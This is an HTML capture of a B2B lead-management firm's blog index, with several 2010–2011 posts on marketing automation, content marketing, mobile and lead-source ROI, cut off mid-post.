<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/style.css" />

   <link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/blog.css" />

<link rel="stylesheet" type="text/css" href="http://www.oppsource.com/wp-content/themes/oppsource3/style/superfish.css" media="screen">
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/jquery.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/hoverIntent.js"></script>
<script type="text/javascript" src="http://www.oppsource.com/wp-content/themes/oppsource3/script/superfish.js"></script>

<script type="text/javascript">

// initialise plugins
jQuery(function(){
   jQuery('ul.sf-menu').superfish();
});

$(window).unload(function(){
   $('ul.sf-menu li.current').hideSuperfishUl();
});

</script>

<link href="/wp-content/themes/oppsource3/style/header.css" type="text/css" rel="stylesheet" />
<style>
   body {
       background:url(http://www.oppsource.com/wp-content/themes/oppsource3/images/bg_top.jpg) repeat-x #bdbcaf ;
   }
   #header{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/header_bg.png') no-repeat;
   }
   #main_wrapper{
       background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/side_Gradient.png') repeat-y;
   }
</style>
</head>

<body >
<div id="wrapper">
   <div id="header">
   <a href="/"><img id="logo" src="http://www.oppsource.com/wp-content/themes/oppsource3/images/logo2.jpg" height="54" width="226"></a>
   <div id="right_Nav">
    <a href="/careers">CAREERS</a> |
       <a href="/contact-us">CONTACT US</a> |
       <a href="/customer-login">CUSTOMER LOGIN</a>
   </div>
</div>
<br style="clear:both;">
<div id="main_wrapper" >
   <div id="main">
       <div id="nav" >
           <ul class="sf-menu">
                   <li class="current navFirstTopLevel first">
                       <a href="/lead-management" class="firstMain"><span class="topNavText">Lead Management</span></a>
                       <ul>
                           <li>
                               <a href="/content-marketing">Content Marketing</a>
                           </li>
                           <li>
                               <a href="/lead-capture">Lead Capture</a>
                           </li>
                           <li>
                               <a href="/lead-nurturing">Lead Nurturing</a>
                           </li>
                           <li>
                               <a href="/lead-scoring">Lead Scoring</a>
                           </li>
                           <li>
                               <a href="/opportunity-handoff">Opportunity Handoff</a>
                           </li>
                           <li>
                               <a href="/lead-funnel-measurement">Lead Funnel Measurement</a>
                           </li>
                       </ul>
                   </li>
                   <li class="second middle">
                       <a href="/services" ><span class="topNavText">Services</span></a>
                       
                   </li>
                   <li class="third middle">
                       <a href="/customers" ><span class="topNavText">Customers</span></a>
                   </li>
                   <li class="fourth middle">
                       <a href="/about-oppsource" ><span class="topNavText">About Us</span></a>
                       <ul>
                           <li>
                               <a href="/about-oppsource">About Oppsource</a>
                           </li>
                           <li>
                               <a href="/leadership">Leadership</a>
                           </li>
                           
                       </ul>
                   </li>
                   <li class="navLastTopLevel fifth">
                       <a href="/blog"><span class="topNavText">OppSource Blog</span></a>
                   </li>
               </ul>
       </div>
       <br style="clear:both;">



       <div id="blogMain" style="background:url('http://www.oppsource.com/wp-content/themes/oppsource3/images/secondaryBgBlog.gif') repeat-y;">
           <div id="blogInner">


                       <div class="post-1233 post type-post hentry category-lead-nurturing category-uncategorized tag-account-optimization tag-content-marketing tag-lead-generation tag-lead-nurturing tag-sales-ready" id="post-1233">
                           <h2><a href="http://www.oppsource.com/marketing-automation-only-half-the-solution/" rel="bookmark" title="Permanent Link to Marketing Automation — Only Half The Solution">Marketing Automation — Only Half The Solution</a></h2>
                           <small>March 14th, 2011 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>There is a lot of talk in the market right now about how marketing automation platforms (MAPs) and toolsets can help marketers solve all their lead generation and nurturing problems.  But marketing automation alone is no silver bullet.  And lets face it, software that automates processes comes with an inherent but unstated assumption - all assume there is an existing process to automate.  This reality gap is the market space that OppSource was founded.</p>
<p>People ask us what does OppSource do?  We do 95% of the dirty work involved in lead generation and nurturing that most marketing and sales organizations know needs to get done, but don't have a process, the people, or the extra time to do. Much of that dirty work involves two things; finding the right people, and making sure that everyone we've found gets properly followed up with and nurtured, often over long periods of time. We call the work we do "oppsourcing" and it is so powerful of a concept that we trademarked it -- OppSourcing....</p>
<p>Organizations that sell complex offerings in a business-to-business (B2B) mode, usually can't make the sale to the one or two people that have come to a trade show, responded to an email, or even attended a webinar. These contacts are usually just a few of the people that are involved in buying a complex offering inside a large organization. Think of them as the scouts who are pioneering the way for their organization through a long and arduous buying journey.</p>
<p>Getting to their tribe of colleagues and the tribal leaders who commissioned their scouting party is a process we call <em>Account Optimization</em>. It involves all the classic research work that enterprising sales executives have done for decades but in today's time-constrained world don't have any extra time to do. It also involves engaging this tribe with the right kind of provocative content to create "bigger than life" buzz that otherwise would not happen if we only focused on the the contacts (scouts) who reveal themselves to us. This process requires expertise that is a mix of marketing and a mix of sales. In most organizations, this hybrid set of skills and expertise does not exists. Marketing buys off on the idea that marketing automation tools by themselves can somehow handle all that needs done when it comes to lead generation and lead nurturing.  This sets in motion a process that only communicates with a limited set of the people who are truly involved in a B2B buying process.  </p>
<p>If you are considering buying a marketing automation tool or have recently implemented one, you may want to investigate how you are "optimizing" your account records with the other buying contacts that matter. If you would like to learn more about how you should be filling this gap in your organization, feel free to download our white paper "<a href="http://www.oppsource.com/oppsource/offer/leadManagementWhitePaper/?m=765&pg=465">Six Pillars of Lead Management</a>."</p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script><script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/account-optimization/" rel="tag">Account Optimization</a>, <a href="http://www.oppsource.com/tag/content-marketing/" rel="tag">Content Marketing</a>, <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/tag/sales-ready/" rel="tag">Sales-ready</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/uncategorized/" title="View all posts in Uncategorized" rel="category tag">Uncategorized</a> at 2:24 pm <a href="http://www.oppsource.com/marketing-automation-only-half-the-solution/#respond" title="Comment on Marketing Automation — Only Half The Solution">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-941 post type-post hentry category-content-marketing category-lead-nurturing category-nurturing tag-content-marketing tag-lead-management tag-lead-nurturing tag-prospecting" id="post-941">
                           <h2><a href="http://www.oppsource.com/making-great-content-go-farther/" rel="bookmark" title="Permanent Link to Making Great Content Go Farther">Making Great Content Go Farther</a></h2>
                           <small>February 2nd, 2011 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>One of the challenges that we constantly encounter in the executing the nurturing campaigns of the<a href="http://www.oppsource.com/content-marketing"> lead management programs</a> that we manage for our customers is having enough compelling content.  "Compelling" is the operative word -- as you want to provide content in your nurturing campaigns that is contextually relevant to the prospect given where they are likely to be in their buying cycle.  One technique to address the compelling objective is to use 3rd Party research reports from known and trusted sources.  In the high technology marketplace, Gartner, Forrester, and Sirus are a few of the big-name trusted 3rd party research firms that have prolific content.  The challenge is that using this content is expensive and as such, most companies don't have endless budget to spend for these great pieces of content.  How then can you make this great content go farther?</p>
<p>Ardath Albee recently provided some great suggestions in her blog post "<a href="http://tinyurl.com/46a5f7p">Make 3rd Party Content an Opportunity not a Necessity</a>" on how to make this kind of content more powerful and go further.  Her suggestion was to find the  "big ideas" contained in each of these 3rd party reports and then tie back into the special things your company does with a complementary article, blog post, or white paper.  As Ardath says, it doesn't have to be a lengthy article, just invest 800-1,000 words that will showcase how your company's solution address the big ideas mentions by the 3rd party research report.  This not only positions your company's key capabilities, it positions your company as a thought leader who has invested in bringing solutions to market to address these "big idea" issues.</p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/content-marketing/" rel="tag">Content Marketing</a>, <a href="http://www.oppsource.com/tag/lead-management/" rel="tag">Lead Management</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/tag/prospecting/" rel="tag">Prospecting</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/content-marketing/" title="View all posts in Content Marketing" rel="category tag">Content Marketing</a>, <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/nurturing/" title="View all posts in Nurturing" rel="category tag">Nurturing</a> at 8:24 am <a href="http://www.oppsource.com/making-great-content-go-farther/#respond" title="Comment on Making Great Content Go Farther">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-900 post type-post hentry category-lead-nurturing category-uncategorized tag-b2b-marketing tag-content-marketing tag-lead-generation tag-marketing-automation tag-sales-cycle" id="post-900">
                           <h2><a href="http://www.oppsource.com/marketing-owns-majority-of-buying-cycle-according-to-study/" rel="bookmark" title="Permanent Link to How Will You Get Your Fair Share of New Buyers in 2011?">How Will You Get Your Fair Share of New Buyers in 2011?</a></h2>
                           <small>January 5th, 2011 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>The new year has brought with it a great deal of excitement and hope for a much brighter business climate. The headlines suggest that corporations are flush with cash and have good intentions for spending on everything from plant, technology, and even people.</p>
<p>New research from Sirius Decisions suggests however, that we B2B marketeers better rethink how we capture our fair share of this expanding market opportunity. Their <a href="http://www.prweb.com/releases/2010/11/prweb4800624.htm">2010 research</a> suggests that 58% of B2B inquiries were initiated from the web and they project this to grow to 71% by 2015.</p>
<p>Even if you discount their research for a typical margin of error, you cannot ignore inbound marketing tactics in this new market environment if you expect to get your fair share of new buyers.</p>
<ol>
<li>What is your inbound marketing game plan?</li>
<li>What is your content marketing strategy to attract and engage these inquisitive web leads?</li>
<li>What lead management and nurturing process are you going to use to make sure that your growing list of web leads are properly scored, nurtured, and qualified?</li>
</ol>
<p><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted31.jpg"><img class="alignnone size-medium wp-image-912" title="Hunt-versus-Hunted3" alt="" src="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted31-300x175.jpg" style="width: 411px; height: 239px;" /></a></p>
<p><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted3.tiff"><img class="alignnone size-full wp-image-910" title="Hunt versus Hunted" alt="" src="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted3.tiff" /></a></p>
<p><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted2.tiff"><img src="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted2.tiff" alt="" title="Hunt versus Hunted" class="alignnone size-full wp-image-908" /></a><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted1.tiff"><img src="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted1.tiff" alt="" title="Hunt versus Hunted" class="alignnone size-full wp-image-907" /></a><a href="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted.tiff"><img src="http://www.oppsource.com/wp-content/uploads/2011/01/Hunt-versus-Hunted.tiff" alt="" title="Hunt versus Hunted" class="alignnone size-full wp-image-906" /></a></p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/b2b-marketing/" rel="tag">B2B Marketing</a>, <a href="http://www.oppsource.com/tag/content-marketing/" rel="tag">Content Marketing</a>, <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/marketing-automation/" rel="tag">Marketing Automation</a>, <a href="http://www.oppsource.com/tag/sales-cycle/" rel="tag">Sales cycle</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/uncategorized/" title="View all posts in Uncategorized" rel="category tag">Uncategorized</a> at 8:48 pm <a href="http://www.oppsource.com/marketing-owns-majority-of-buying-cycle-according-to-study/#comments" title="Comment on How Will You Get Your Fair Share of New Buyers in 2011?">1 Comment »</a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-868 post type-post hentry category-demand-creation category-marketing category-online tag-b2b-marketing tag-content-marketing tag-engagement-marketing tag-how-people-read-online tag-lead-generation tag-mobile-computing" id="post-868">
                           <h2><a href="http://www.oppsource.com/how-mobile-will-impact-b2b-lead-generation-in-2011/" rel="bookmark" title="Permanent Link to How Mobile Will Impact B2B Lead Generation in 2011">How Mobile Will Impact B2B Lead Generation in 2011</a></h2>
                           <small>December 31st, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p> The buzz around Mobile is palpable, especially with the frenzy that tablet computing has stirred in 2010.  Apple's introduction of the iPad has eclipsed every prediction of both pessimistic and optimistic critic.  I found myself challenging the wisdom of Apple with their introduction of the iPad but by August a senior executive at one of our largest customers had pushed me across the chasm and I too became an early iPad fanatic.  </p>
<p>The momentum behind tablet computing has stirred the "mobile buzz" to all time heights.  The questions we B2B marketers are are now asking relates to how the iPad and next generation mobile devices will change our marketing and lead generation plans for 2011?  Recently released data by <a href="http://tinyurl.com/256wowa">Forbes Insights </a>suggests that mobile device computing has become the defacto platform for 82% of the C-Suite executives surveyed.   What struck me most, was that 73% of these surveyed executives see their smartphone as their primary communications platform.  </p>
<p><a href="http://www.oppsource.com/wp-content/uploads/2010/12/US-Exec-Smartphone-Survey.tiff"><img alt="" title="US Exec Smartphone Survey" class="alignnone size-full wp-image-872" src="http://www.oppsource.com/wp-content/uploads/2010/12/US-Exec-Smartphone-Survey.tiff" /></a></p>
<p>With this level of mobile device adoption in the C-Suite, it is only a matter of time before pervasive adoption throughout the management ranks follows suit.  Given this momentum, here are three areas we at OppSource will be focusing on in 2011:</p>
<p><strong>1. Form factor design -</strong> With such a large portion of the target audience vetting and viewing their email and search results on their mobile devices, the design of digital communication must take these smaller screen mediums into account.   </p>
<p><strong>2. Eliminate use of Flash -</strong> It was one of the most awesome web technologies invented... until the iPhone came along and then it wasn't as awesome anymore.  It is so frustrating to click through on a link on your smartphone or iPad only to end up on a screen that says you must first download flash.  Of course there is no flash download if you are on an Apple mobile device or many others for that matter.  Even better, get smart fast on HTML5 as an alternative for incorporating animated/video designs for mobile users.</p>
<p><strong>3. Optimize downloads around mobile</strong> - nobody wants to wait forever to download some onerously large pdf or video file.  Take your users to smart landing pages and microsites where informative content descriptions give mobile visitors the best chance for selecting content that is most relavent to them.    </p>
<p>Here are a couple of very helpful articles and sites that go into great detail about optimizing content for mobile:</p>
<ul>
<li><a href="http://www.instantshift.com/2010/04/09/mobile-web-design-overview-examples-and-tips/">Mobile Web Design</a></li>
<li><a href="http://www.mobileawesomeness.com/">Mobile Awesomeness</a></li>
</ul>
<p>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /></p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/b2b-marketing/" rel="tag">B2B Marketing</a>, <a href="http://www.oppsource.com/tag/content-marketing/" rel="tag">Content Marketing</a>, <a href="http://www.oppsource.com/tag/engagement-marketing/" rel="tag">Engagement Marketing</a>, <a href="http://www.oppsource.com/tag/how-people-read-online/" rel="tag">How people read online</a>, <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/mobile-computing/" rel="tag">Mobile Computing</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/demand-creation/" title="View all posts in Demand Creation" rel="category tag">Demand Creation</a>, <a href="http://www.oppsource.com/category/marketing/" title="View all posts in Marketing" rel="category tag">Marketing</a>, <a href="http://www.oppsource.com/category/online/" title="View all posts in Online" rel="category tag">Online</a> at 7:18 pm <a href="http://www.oppsource.com/how-mobile-will-impact-b2b-lead-generation-in-2011/#comments" title="Comment on How Mobile Will Impact B2B Lead Generation in 2011">1 Comment »</a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-847 post type-post hentry category-demand-creation category-lead-nurturing category-marketing category-marketing-automation category-sales tag-lead-generation tag-lead-management tag-lead-nurturing tag-lead-qualification tag-marketing-automation tag-sales-effectiveness" id="post-847">
                           <h2><a href="http://www.oppsource.com/marketing-roi-the-lead-source-downfall/" rel="bookmark" title="Permanent Link to Marketing ROI: The Lead Source Downfall">Marketing ROI: The Lead Source Downfall</a></h2>
                           <small>December 15th, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/scott-stano.thumbnail.jpg" alt="Scott Stano" width="58" height="80" class="photo" />                            <div class="post_thumb_info">
                               <h3> Scott Stano</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>There is an old, if irritating joke in marketing: I know 50% of my spend is going to the wrong things, I just don't know which 50%! In a world of 'marketing automation', 'CRM integration' and technology vendors stumping these products, how can this still be so? </p>
<p>How the systems are configured to capture and report information is the process and execution question many executives neglect. If your systems and workflows aren't designed to contemplate many marketing touches and give credit where credit is due, the insight identifying the "right 50%" of spend is wasted. The root cause of this problem is marketers and salespeople thinking in terms of "lead source". When an opportunity gets put into Salesforce.com, NetSuite, Microsoft Dynamics or others many companies default to adding a 'lead source' which is then the 'reporting' go to field to see 'how this opportunity was created.' It'd be like buying a house and only asking how the interior painting was done - this was the last critical step, but what about all of the effort that came before?</p>
<p>Enter the notion of campaigns. Campaigns can be associated at the lead, contact and account levels and allow for multiples - not just one 'source'. Companies who are rigorously implementing campaign tags into their CRM systems have a more complete view of ALL of the touches and tactics that contributed to creating the opportunity. Did they first come to a trade show, then a webinar and finally a tele-nurturing resource reached them to qualify? It would be short sided to say, "tele-sales, you did it!" Actually, marketing AND sales did it through this portfolio of action.</p>
<p>What's more, with campaigns you can track back to how many opportunities participated in a particular tactic, and decide if you should do that again (of course, feeling confident that the right sales and nurturing process was interacting with the prospect after the initial touch).</p>
<p>One OppSource customer's marketing department that is doing this well is able to justify spend, cease non-performing tactics and justify their very existence as a delivery group - after all, in business isn't that a point of value we're all trying to show?<br />
 </p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/lead-management/" rel="tag">Lead Management</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/tag/lead-qualification/" rel="tag">Lead Qualification</a>, <a href="http://www.oppsource.com/tag/marketing-automation/" rel="tag">Marketing Automation</a>, <a href="http://www.oppsource.com/tag/sales-effectiveness/" rel="tag">Sales effectiveness</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/demand-creation/" title="View all posts in Demand Creation" rel="category tag">Demand Creation</a>, <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/marketing/" title="View all posts in Marketing" rel="category tag">Marketing</a>, <a href="http://www.oppsource.com/category/marketing-automation/" title="View all posts in Marketing Automation" rel="category tag">Marketing Automation</a>, <a href="http://www.oppsource.com/category/sales/" title="View all posts in Sales" rel="category tag">Sales</a> at 10:54 pm <a href="http://www.oppsource.com/marketing-roi-the-lead-source-downfall/#comments" title="Comment on Marketing ROI: The Lead Source Downfall">2 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-235 post type-post hentry category-lead-nurturing category-nurturing category-sales tag-lead-generation tag-lead-nurturing tag-opportunity-creation tag-prospecting tag-qualified-opportunities" id="post-235">
                           <h2><a href="http://www.oppsource.com/leads-need-to-be-led/" rel="bookmark" title="Permanent Link to Leads Need To Be Led">Leads Need To Be Led</a></h2>
                           <small>December 4th, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>How many times have you heard a sales colleague say they need more leads?  It seems like a very familiar mantra, especially in this constrained market.  Funny thing about "leads", they are not always ready to buy when we are ready to sell.  Some are not destined to be, others have possibilities, while a few are probably in the "red zone" and are in fact in the mood to buy.  But which ones are which?</p>
<p>This is particularly difficult to discern in the complex B2B buying cycle because of the wide range of roles that are involved in the typical purchasing decision.  A busy sales professional trying to meet quota for the quarter might not think speaking with a non-executive contact is worthy of their time investment.  On the other hand, this mid-level manager might actually be playing a significant role in the buying process with responsibility for researching and evaluating how his/her firm can solve a business problem or improve a languishing process.  But, because this "lead" doesn't have the typical "executive level" title, it is assumed they don't play a significant role in the buying process and are overlooked.</p>
<p>Think about an alternative scenario for a moment.  What if this mid-level manager contact were treated with significance.  They were actually asked a lot of thoughtful and insightful questions about their particular scenario.  They were treated as though they might be a significant player in their firm's evolving buying process.  What if we not only made several attempts to connect with this mid-level manager, but after we had an initial conversation, we followed up with helpful information that will actually help set us apart from other "vendors" and instead set us up as an "expert" in the mind of this influential contact.</p>
<p>Leads need to be led.  Don't They?</p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/lead-generation/" rel="tag">Lead Generation</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/tag/opportunity-creation/" rel="tag">opportunity creation</a>, <a href="http://www.oppsource.com/tag/prospecting/" rel="tag">Prospecting</a>, <a href="http://www.oppsource.com/tag/qualified-opportunities/" rel="tag">Qualified opportunities</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/nurturing/" title="View all posts in Nurturing" rel="category tag">Nurturing</a>, <a href="http://www.oppsource.com/category/sales/" title="View all posts in Sales" rel="category tag">Sales</a> at 7:37 pm <a href="http://www.oppsource.com/leads-need-to-be-led/#respond" title="Comment on Leads Need To Be Led">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-696 post type-post hentry category-lead-nurturing category-marketing category-marketing-automation category-nurturing category-uncategorized tag-email-marketing tag-lead-management tag-lead-nurturing" id="post-696">
                           <h2><a href="http://www.oppsource.com/the-power-of-lead-management-and-account-optimization/" rel="bookmark" title="Permanent Link to The Power of Lead Management and Account Optimization">The Power of Lead Management and Account Optimization</a></h2>
                           <small>November 18th, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/scott-stano.thumbnail.jpg" alt="Scott Stano" width="58" height="80" class="photo" />                            <div class="post_thumb_info">
                               <h3> Scott Stano</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>What is account optimization? Put simply, it is taking the time, energy and focus to add valuable contacts to your account database once that company begins interacting with your digital marketing efforts. Why do this? Not only does it deepen the pool of contacts receiving and responding to your email nurturing offers, but when it is time to connect on the phone, there are many more individuals to try. Every sales person knows that the complex sales process requires involving many decision-makers and influencers to get the deal signed.</p>
<p>An enlightening statistic comes from one of OppSource's long tenured customers. They have very good response rates to their ongoing email lead nurturing program - with click through rates often over 10% with each message step. However, nearly 80% of the qualified sales opportunities have come from either a referral or with a person who was first 'optimized' as part of OppSource's process. Imagine the amount of opportunities that would have been missed if the rigor hadn't been in place to proactively identify these executives!</p>
<p>Lead Management, Lead Nurturing and Marketing Automation will never be automatic. It will always require the human touch and relationship building. The statistic above helps prove it. This is in no way to say email nurturing does work - quite the contrary - but it does underscore how important having the deepest and widest view into your prospect accounts is for your overall success.</p><div class="addtoany_share_save_container"><div class="a2a_kit addtoany_list"><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.oppsource.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></div>
<script type="text/javascript"></script>

</div>                            </div>

                           <p class="postmetadata">Tags: <a href="http://www.oppsource.com/tag/email-marketing/" rel="tag">Email marketing</a>, <a href="http://www.oppsource.com/tag/lead-management/" rel="tag">Lead Management</a>, <a href="http://www.oppsource.com/tag/lead-nurturing/" rel="tag">Lead Nurturing</a><br /> Posted by Oppsource in <a href="http://www.oppsource.com/category/lead-nurturing/" title="View all posts in Lead Nurturing" rel="category tag">Lead Nurturing</a>, <a href="http://www.oppsource.com/category/marketing/" title="View all posts in Marketing" rel="category tag">Marketing</a>, <a href="http://www.oppsource.com/category/marketing-automation/" title="View all posts in Marketing Automation" rel="category tag">Marketing Automation</a>, <a href="http://www.oppsource.com/category/nurturing/" title="View all posts in Nurturing" rel="category tag">Nurturing</a>, <a href="http://www.oppsource.com/category/uncategorized/" title="View all posts in Uncategorized" rel="category tag">Uncategorized</a> at 9:52 pm <a href="http://www.oppsource.com/the-power-of-lead-management-and-account-optimization/#respond" title="Comment on The Power of Lead Management and Account Optimization">0 Comments </a></p>

                       </div>
                       <div style="width:640px; margin-left:20px;">

                           <hr />
                       </div>

                       <div class="post-227 post type-post hentry category-demand-creation category-lead-nurturing category-measured-markering tag-lead-generation tag-lead-nurturing tag-lead-qualification tag-lead-scoring tag-leads tag-qualified-opportunities tag-sales-effectiveness tag-sales-ready" id="post-227">
                           <h2><a href="http://www.oppsource.com/three-common-mistakes-in-calculating-roi-on-lead-source/" rel="bookmark" title="Permanent Link to 3 common mistakes in calculating ROI on Lead Source">3 common mistakes in calculating ROI on Lead Source</a></h2>
                           <small>October 4th, 2010 </small>
                           <br style="clear:both;"><br>
                           <img src="http://www.oppsource.com/wp-content/uploads/userphoto/mark-galloway.thumbnail.jpg" alt="Mark Galloway" width="80" height="67" class="photo" />                            <div class="post_thumb_info">
                               <h3> Mark Galloway</h3>
                               <p>Oppsource.com</p>

                           </div>
                           <br style="clear:both;">
                           <div class="entry">
                               <p>Given that we are in the business of generating and nurturing B2B leads for our clients, we get the opportunity to discuss the value of a lead quite frequently.  The scrutiny of marketing spend ever increasing, I thought I would share three common mistakes that marketers (and their bosses) often make in evaluating the ROI of their lead generation tactics.</p>
<p><strong>1. The credit for a sale gets attached to the last known lead tactic/source. </strong> How often have you (or your company) ever spontaneously purchased something of significant value after being prompted by a single marketing tactic?  I can't remember it ever happening frankly.  The truth is that most B2B buyers have downloaded white papers, they've attended webinars, they probably have even gone to a trade show or two, and may have seen a print/tv ad or two.  All contributed to their eventual decision to buy from their vendor or choice - hopefully you.</p>
